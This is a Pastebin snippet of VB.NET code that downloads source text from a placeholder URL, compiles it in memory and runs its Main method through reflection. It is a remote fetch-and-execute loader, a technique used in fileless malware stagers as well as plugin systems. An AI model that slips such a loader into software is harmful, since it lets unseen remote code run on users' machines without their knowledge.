Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Dim webReq As WebRequest = WebRequest.Create(New Uri("code link"))
- Dim sr As New StreamReader(webReq.GetResponse.GetResponseStream)
- Dim dic As New Dictionary(Of String, String)
- dic.Add("CompilerVersion", "v3.5")
- Dim vbCompiler As VBCodeProvider = New VBCodeProvider(dic)
- Dim vbParam As CompilerParameters = New CompilerParameters({"System.dll", "mscorlib.dll", "System.Core.dll", "System.Windows.Forms.dll"})
- vbParam.GenerateExecutable = False
- vbParam.GenerateInMemory = True
- Dim vbResults As CompilerResults = vbCompiler.CreateCompiler.CompileAssemblyFromSource(vbParam, sr.ReadToEnd)
- Dim types As Type = vbResults.CompiledAssembly.GetType("Module1")
- types.GetMethod("Main").Invoke(0, Nothing)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement